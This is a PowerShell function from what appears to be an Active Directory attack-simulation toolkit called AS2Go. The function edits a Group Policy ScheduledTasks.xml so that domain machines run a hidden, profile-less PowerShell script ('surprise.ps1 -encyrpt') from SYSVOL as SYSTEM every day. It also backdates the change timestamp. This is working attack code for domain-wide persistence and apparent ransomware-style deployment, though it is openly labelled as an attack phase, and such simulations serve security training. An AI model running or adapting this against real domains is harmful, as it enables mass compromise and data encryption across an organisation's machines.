Private/Add-TaskElementToFileScheduleTaskXml.ps1

function Add-TaskElementToFileScheduleTaskXml {

    ################################################################################
    ##### #####
    ##### Add a Scheduled Task to file ScheduledTasks.xml #####
    ##### #####
    ################################################################################

    Param([string] $xmlFilePath)

    $CurrentFunction = Get-FunctionName
    Write-Log -Message "### Start Function $CurrentFunction ###"
    $StartRunTime = (Get-Date).ToString($Script:DateFormatLog)
    #################### main code | out- host ####################

    [datetime]$tomorrow = (Get-Date).AddDays(1)
    [xml]$xml = Get-Content $xmlFilePath

    $sPrefix = Get-Date -Format HHmmss
    $sSuffix = Get-Date -Format yyyyMMdd
    $sNewName = "ST-$sSuffix.$sPrefix"

    $result = $xmlFilePath.Split("\")[4]

    $newGUID = "{" + (New-Guid).ToString().ToUpper() + "}"

    # Create the Task element
    $newTask = $xml.CreateElement("Task")
    $newTask.SetAttribute("clsid", "{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}")
    $newTask.SetAttribute("name", "Attack Phase - $($Script:Phase12)")
    $newTask.SetAttribute("image", "2")
    $newTask.SetAttribute("changed", "1601-01-01 00:00:01")
    $newTask.SetAttribute("uid", $newGUID)
    $newTask.SetAttribute("userContext", "0")
    $newTask.SetAttribute("removePolicy", "0")
    $newTask.SetAttribute("desc", "A bad actor was here - " + (get-date))

    # Create the Properties element
    $newProperties = $xml.CreateElement("Properties")
    $newProperties.SetAttribute("deleteWhenDone", "0")
    $newProperties.SetAttribute("startOnlyIfIdle", "0")
    $newProperties.SetAttribute("stopOnIdleEnd", "0")
    $newProperties.SetAttribute("noStartIfOnBatteries", "0")
    $newProperties.SetAttribute("stopIfGoingOnBatteries", "0")
    $newProperties.SetAttribute("systemRequired", "1")
    $newProperties.SetAttribute("action", "U")
    $newProperties.SetAttribute("name", $sNewName)
    $newProperties.SetAttribute("appName", "cmd.exe")
    $newProperties.SetAttribute("args", "/c powershell.exe -nop -w hidden \\$result\SYSVOL\$result\scripts\surprise.ps1 -encyrpt")
    $newProperties.SetAttribute("startIn", "C:\")
    $newProperties.SetAttribute("comment", "created by AS2Go!")
    $newProperties.SetAttribute("enabled", "1")

    #Create the Triggers element
    $newtriggers = $xml.CreateElement("Triggers")

    # Create the Trigger element
    $newTrigger = $xml.CreateElement("Trigger")
    $newTrigger.SetAttribute("type", "DAILY")
    $newTrigger.SetAttribute("startHour", "06")
    $newTrigger.SetAttribute("startMinutes", "00")
    $newTrigger.SetAttribute("beginYear", $tomorrow.Year )
    $newTrigger.SetAttribute("beginMonth", $tomorrow.Month)
    $newTrigger.SetAttribute("beginDay", $tomorrow.Day)
    $newTrigger.SetAttribute("hasEndDate", "0")
    $newTrigger.SetAttribute("repeatTask", "0")
    $newTrigger.SetAttribute("interval", "1")

    $newTriggers.AppendChild($newTrigger) | Out-Null
    $newProperties.AppendChild($newTriggers) | Out-Null
    $newTask.AppendChild($newProperties) | Out-Null
    $xml.ScheduledTasks.AppendChild($newTask) | Out-Null

    $xml.Save($xmlFilePath)

    Invoke-output -Type Success -Message "Task $sNewName added to file $xmlFilePath" -noextralines  

    ######################## main code ############################
    $runtime = Get-RunTime -StartRunTime $StartRunTime
    Write-Log -Message " Run Time: $runtime [h] ###"
    Write-Log -Message "### End Function $CurrentFunction ###"

}